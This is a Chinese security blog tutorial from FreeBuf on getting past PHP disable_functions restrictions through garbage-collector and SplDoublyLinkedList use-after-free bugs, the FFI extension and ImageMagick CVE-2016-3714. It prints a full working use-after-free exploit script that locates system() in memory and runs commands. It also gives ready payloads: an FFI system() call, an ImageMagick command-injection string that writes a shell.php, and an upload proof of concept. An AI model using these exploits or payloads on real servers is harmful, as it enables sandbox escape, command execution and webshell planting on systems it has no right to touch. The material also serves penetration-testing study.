freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

提权之disable_functions(三)
星云博创 2022-04-14 09:33:26 152445
所属地 北京

前言

这篇文章承接前面的(一)(二)继续来研究绕过disable_function的一些手法,其中包含了GC UAF、 UAC、FFI等利用方式。

bypass GC UAF

利用条件

Liux系统

PHP全版本

7.0 - all versions to date

7.1 - all versions to date

7.2 - all versions to date

7.3 - all versions to date

原理

此漏洞利用PHP垃圾收集器存在三年的⼀个bug,通过PHP垃圾收集器堆溢出来绕过disable_functions并执行系统命令Bypass Disable Funtions 13。

利用方法

继续利用Ant搭建环境

上传利用脚本访问执行命令

可以看到能够利用。

bypass SplDoublyLinkedList UAC

使用条件

PHP v7.4.10及其之前版本

PHP v8.0(Alpha)

原理

2020年9月20号有人在bugs.php.net上发布了⼀个新的UAF BUG,报告人已经写出了bypass disabled functions的利用脚本并且私发给了官方,不过官方似乎还没有修复,原因不明。PHP的SplDoublyLinkedList双向链表库中存在⼀个用后释放漏洞,该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。

在该漏洞的帮助下,远程攻击者将能够实现PHP沙箱逃逸,并执行任意代码。更准确地来说,成功利用该漏洞后,攻击者将能够绕过PHP的某些限制,例如disable_functions和safe_mode等等。

利用方法

<?phperror_reporting(0);$a = str_repeat("T", 120 * 1024 * 1024);function i2s(&$a, $p, $i, $x = 8) {for($j = 0;$j < $x;$j++) {$a[$p + $j] = chr($i & 0xff);$i >>= 8;}}function s2i($s) {$result = 0;for ($x = 0;$x < strlen($s);$x++) {$result <<= 8;$result |= ord($s[$x]);}return $result;}function leak(&$a, $address) {Bypass Disable Funtions 18global $s;i2s($a, 0x00, $address - 0x10);return strlen($s -> current());}function getPHPChunk($maps) {$pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';preg_match_all($pattern, $maps, $match);foreach ($match[1] as $value) {list($start, $end) = explode("-", $value);if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {$address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";return $address;}}}function bomb1(&$a) {if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {return (s2i($_GET["test1"]) & 0x7ffff0000000);}else {die("[!]Where is here");}}function bomb2(&$a) {$start = s2i($_GET["test2"]);return getElement($a, array($start, $start + 0x200000, 0x200000));die("[!]Not Found");}function getElement(&$a, $address) {for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {$addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;for ($y = 0;$y < 5;$y++) {if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";return $addr + $y * 0x08 - 0x18;}}}}function getClosureChunk(&$a, $address) {do {$address = leak($a, $address);}while(leak($a, $address) !== 0x00);echo "[+]Closure Chunk: " . dechex($address) . "\n";return $address;}function getSystem(&$a, $address) {$start = $address & 0xffffffffffff0000;$lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;for($i = 0; $i < 0x1000 * 0x80; $i++) {$addr = $start - $i * 0x20;if ($addr < $lowestAddr) {break;}$nameAddr = leak($a, $addr);if ($nameAddr > $address || $nameAddr < $lowestAddr) {continue;}$name = dechex(leak($a, $nameAddr));$name = str_pad($name, 16, "0", STR_PAD_LEFT);$name = strrev(hex2bin($name));$name = explode("\x00", $name)[0];if($name === "system") {return leak($a, $addr + 0x08);}}}class Trigger {function __destruct() {global $s;unset($s[0]);$a = str_shuffle(str_repeat("T", 0xf));i2s($a, 0x00, 0x1234567812345678);i2s($a, 0x08, 0x04, 7);Bypass Disable Funtions 19$s -> current();$s -> next();if ($s -> current() !== 0x1234567812345678) {die("[!]UAF Failed");}$maps = file_get_contents("/proc/self/maps");if (!$maps) {cantRead($a);}else {canRead($maps, $a);}echo "[+]Done";}}function bypass($elementAddress, &$a) {global $s;if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {die("[!]Get Closure Chunk Address Failed");}$closure_object = leak($a, $closureChunkAddress + 0x18);echo "[+]Closure Object: " . dechex($closure_object) . "\n";$closure_handlers = leak($a, $closure_object + 0x18);echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";if(!($system_address = getSystem($a, $closure_handlers))) {die("[!]Couldn't determine system address");}echo "[+]Find system's handler: " . dechex($system_address) . "\n";i2s($a, 0x08, 0x506, 7);for ($i = 0;$i < (0x130 / 0x08);$i++) {$data = leak($a, $closure_object + 0x08 * $i);i2s($a, 0x00, $closure_object + 0x30);i2s($s -> current(), 0x08 * $i + 0x100, $data);}i2s($a, 0x00, $closure_object + 0x30);i2s($s -> current(), 0x20, $system_address);i2s($a, 0x00, $closure_object);i2s($a, 0x08, 0x108, 7);echo "[+]Executing command: \n";($s -> current())("whoami");}function canRead($maps, &$a) {global $s;if (!$chunkAddress = getPHPChunk($maps)) {die("[!]Get PHP Chunk Address Failed");}i2s($a, 0x08, 0x06, 7);if (!$elementAddress = getElement($a, $chunkAddress)) {die("[!]Get SplDoublyLinkedList Element Address Failed");}bypass($elementAddress, $a);}function cantRead(&$a) {global $s;i2s($a, 0x08, 0x06, 7);if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {die("[!]Please try to get address of PHP Chunk");}if (isset($_GET["test1"])) {die(dechex(bomb1($a)));}if (isset($_GET["test2"])) {$elementAddress = bomb2($a);}if (!$elementAddress) {die("[!]Get SplDoublyLinkedList Element Address Failed");}bypass($elementAddress, $a);}$s = new SplDoublyLinkedList();$s -> push(new Trigger());$s -> push("Twings");$s -> push(function($x){});for ($x = 0;$x < 0x100;$x++) {$s -> push(0x1234567812345678);}$s -> rewind();unset($s[0]);

bypass FFI

使用条件

  • inux操作系统 php>=7.4
  • 开启了FFI扩展且ffi.enable=true

原理

PHP 7.4 的 FFI(Foreign Function Interface), 即外部函数接口,允许从用户在PHP代码中去调用C代码。FFI的使用非常简单,只用声明和调用两步就可以。

首先我们使用 FFI::cdef() 函数在PHP中声明⼀个我们要调用的这个C库中的函数以及使用到的数据类型,类似如下: 
$ffi = FFI::cdef("int system(char* command);"); # 声明C语言中的system函数。
这将返回⼀个新创建的FFI对象,然后使⽤以下⽅法即可调用这个对象中所声明的函数:
$ffi ->system("ls / > /tmp/res.txt"); # 执行ls /命令并将结果写入/tmp/res.txt。
由于system函数执行命令无回显,所以需要将执行结果写入到tmp等有权限的目录中,最后再使用 echo file_get_contents("/tmp/res.txt"); 查看执行结果即可。

可见,当PHP所有的命令执行函数被禁用后,通过PHP7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数或其他能实现我们需求的函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。

利用方法
利用FFI绕过 disable_func 构造payload:

ant=$ffi = FFI::cdef("int system(const char *command);");$ffi->system("whoami> /tmp/res.txt");echo file_get_contents("/tmp/res.txt");

成功执行:

bypass ImageMagick

使用条件

目标主机安装了漏洞版本的imagemagick(<=3.3.0)

安装了php-imagick扩展

编写php通过了new Imagick对象的方式来处理图片等格式文件

php >= 5.4

原理

magemagick是⼀个用于处理图片的程序,它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。利用ImageMagick绕过disable_functions的方法利用的是ImageMagick的⼀个漏洞(CVE-2016-3714)。

漏洞的利用过程非常简单, 只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令。因此很多具有头像上传、图片转换、图片编辑等具备图片上传功能的网站都可能会中招。所以如果在phpinfo中看到有这个ImageMagick,可以尝试⼀下。

利用方法

查看phpinfo.php 开启ImageMagick扩展:

push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/1.jpg"|echo \'\' > shell.php")' pop graphic-context

poc.php

<?phpfunction readImageBlob() {$base64 = "iVBORw0KGgoAAAANSUhEUgAAAM0AAADNCAMAAAAsYgRbAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABJQTFRF3NSmzMewPxIG//ncJEJsldTou1jHgAAAARBJREFUeNrs2EEKgCAQBVDLuv+V20dENbMY831wKz4Y/VHb/5RGQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0PzMWtyaGhoaGhoaGhoaGhoaGhoxtb0QGhoaGhoaGhoaGhoaGhoaMbRLEvv50VTQ9OTQ5OpyZ01GpM2g0bfmDQaL7S+ofFC6xv3ZpxJiywakzbvd9r3RWPS9I2+MWk0+kbf0Hih9Y17U0nTHibrDDQ0NDQ0NDQ0NDQ0NDQ0NTXbRSL/AK72o6GhoaGhoRlL8951vwsNDQ0NDQ1NDc0WyHtDTEhDQ0NDQ0NTS5MdGhoaGhoaGhoaGhoaGhoaGhoaGhoaGposzSHAAErMwwQ2HwRQAAAAAElFTkSuQmCC";if(isset($_POST['img'])){$base64 = $_POST['img'];}$imageBlob = base64_decode($base64);$imagick = new Imagick();$imagick->readImageBlob($imageBlob);header("Content-Type: image/png");echo $imageBlob;}Bypass Disable Funtions 23readImageBlob();?>%

小结

这几种方式在实战中经常用到,当然也能够自己搭建环境复现进行学习,其中不乏一些很巧妙的点,也可以拓宽我们的思维。

# 渗透测试 # 提权
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 星云博创 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
星云博创 LV.7
星云博创科技有限公司
  • 96 文章数
  • 76 关注者
【技术分享】记某项目漏洞挖掘
2024-01-16
【技术分享】短信验证码的相关利用方法与技巧
2023-11-23
【技术分享】业务逻辑漏洞案例剖析
2023-10-18
文章目录